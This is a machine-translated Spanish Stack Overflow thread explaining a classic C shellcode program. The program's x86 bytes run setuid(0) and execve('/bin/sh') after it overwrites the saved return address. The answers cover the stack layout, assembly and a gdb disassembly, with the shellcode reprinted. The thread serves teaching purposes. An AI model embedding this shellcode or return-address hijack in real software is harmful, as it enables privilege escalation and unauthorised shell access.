Pregunta

ADVERTENCIA: Esta es una hazaña. No ejecutar este código.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

¿alguien puede dar una mejor explicación?

¿Fue útil?

Solución

Al parecer, este código intentos de cambiar la pila de manera que cuando la función main devoluciones, la ejecución del programa no vuelve regularmente a la biblioteca de tiempo de ejecución (que normalmente terminar el programa), pero saltaría lugar en el código guardado en la shellcode array.

1) int *ret;

define una variable en la pila, justo debajo de argumentos de la función main.

2) ret = (int *)&ret + 2;

permite que el punto variable de ret a un int * que se coloca dos ints anteriormente ret en la pila. Se supone que es donde se encuentra la dirección de retorno en el que el programa continuará cuando los rendimientos main.

2) (*ret) = (int)shellcode;

La dirección de retorno se establece en la dirección de los contenidos de la matriz shellcode, por lo que serán ejecutadas el contenido de esa shellcode cuando los rendimientos main.


shellcode aparentemente contiene instrucciones de máquina que, posiblemente, hacer una llamada al sistema de /bin/sh lanzamiento. Podría estar equivocado en esto, ya que en realidad no shellcode desmontar.


P.S:.. Este código es por máquina y el compilador-dependiente y, posiblemente, no funciona en todas las plataformas


Responder a la segunda pregunta:

  

y lo que sucede si el uso que   ret = (int) y ret 2 y por qué la agregamos 2?   ¿por qué no 3 o 4 ??? y creo que int   es de 4 bytes por lo que habrá 2 8 bytes no?

ret se declara como un int*, por lo tanto, la asignación de un int (como (int)&ret) que sería un error. En cuanto a por qué se añade 2 y no cualquier otro número: al parecer porque este código se supone que la dirección de retorno se encuentran en ese lugar en la pila. Considere lo siguiente:

  • Este código asume que la pila de llamadas crece hacia abajo cuando algo se empuja en él (como de hecho lo hace, por ejemplo, con procesadores Intel). Esa es la razón por la cual un número es añadido no restada . La dirección de retorno se encuentra a una dirección de memoria más alta que las variables automáticas (locales) (como ret)

  • Por lo que recuerdo de mis días de montaje de Intel, una función de C a menudo se llama así: En primer lugar, todos los argumentos se insertan en la pila en orden inverso (derecha a izquierda). Entonces, la función se llama. La dirección de retorno De este modo se inserta en la pila. A continuación, un nuevo marco de pila está configurado, que incluye empujar el registro ebp en la pila. A continuación, las variables locales se establecieron en la pila por debajo de todo lo que ha sido empujado hacia arriba a este punto.

Ahora Asumo la siguiente distribución de pila para su programa:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

Al mentiras ret parte inferior (que es un entero de 32 bits). Por encima de él es el registro ebp salvado (que es también de 32 bits de ancho). Por encima de esta es la dirección de retorno de 32 bits. (Por encima de los argumentos que sería de main - argc y argv - pero estos no son importantes aquí.) Cuando se ejecuta la función, el puntero de pila en ret. El retorno de direcciones mentiras 64 bits "por encima" ret, que corresponde a la + 2 en

ret = (int*)&ret + 2; 

Es + 2 porque ret es un int*, y un int es de 32 bits, por lo tanto, la adición de 2 medios de ajuste a una posición de memoria 2 × 32 bits (= 64 bits) por encima (int*)&ret ... lo que sería la dirección de retorno ubicación, si todos los supuestos del párrafo anterior son correctos.


Excursión: Permítanme demostrar en lenguaje ensamblador Intel cómo una función C podría se llamará (si no recuerdo mal - soy noh gran maestro sobre este tema por lo que podría estar equivocado):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

Dentro principal, lo siguiente puede ocurrir:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

Ver también: Descripción de la href="http://aplawrence.com/Unix/c_calling_sequence.html" rel="noreferrer"> secuencia de llamada a procedimiento otra explicación de este tema.

Otros consejos

El código shell actual es:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

Esto corresponde a aproximadamente

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);

Esa cadena es de una vieja documento sobre desbordamientos de búfer, y ejecutará / bin / sh. Desde su código malicioso (bueno, si se combina con un tampón de explotar) - que realmente debería incluirlo de origen próxima vez.

exploits basados ??

A partir de ese mismo documento, cómo pila de código

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

El código ha incluido hace que el contenido de código shell [] para ser ejecutado, corriendo execve , y proporcionar acceso a la cáscara. Y el término Shellcode? De Wikipedia :

  

En seguridad informática, un código shell es una   pequeña pieza de código se utiliza como la   de carga útil en la explotación de una   vulnerabilidad de software. Se llama   "Código shell", ya que normalmente   inicia una shell de comandos desde la cual el   atacante puede controlar la comprometida   máquina. Shellcode se escribe comúnmente   en código de máquina, pero cualquier pieza de código   que realiza una tarea similar se puede   llamado código shell.

Sin levantar todos los códigos de operación real para confirmar, la matriz shellcode contiene el código de la máquina necesaria para /bin/sh Exec. Este shellcode es código de máquina cuidadosamente construida para llevar a cabo la operación deseada en una plataforma de destino específico y no contienen ningún byte null.

El código en main() está cambiando la dirección de retorno y el flujo de ejecución con el fin de hacer que el programa para desovar una cáscara por tener las instrucciones en la matriz shellcode ejecutado.

Smashing La Pila por diversión y dinero para una Descripción de cómo código shell como este puede ser creado y cómo podría ser utilizado.

La cadena contiene una serie de bytes representados en hexadecimal.

La bytes codificar una serie de instrucciones para un procesador en particular sobre una plataforma en particular - es de esperar, el suyo. (Edit: Si se trata de software malicioso, es de esperar no el suyo)

La variable se define sólo para obtener un identificador de la pila. Un marcador, si se quiere. A continuación, se utiliza la aritmética de punteros, una vez más dependiente de la plataforma, para manipular el estado del programa para hacer que el procesador para saltar a ejecutar y los bytes en la cadena.

Cada \ xxx es un número hexadecimal. Uno, dos o tres de tales números forman juntos un código op (google para ello). Junto forma de montaje que puede ser ejecutado por la máquina de más o menos directamente. Y este código intenta ejecutar el código shell.

Creo que los intentos shellcode para desovar una concha.

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top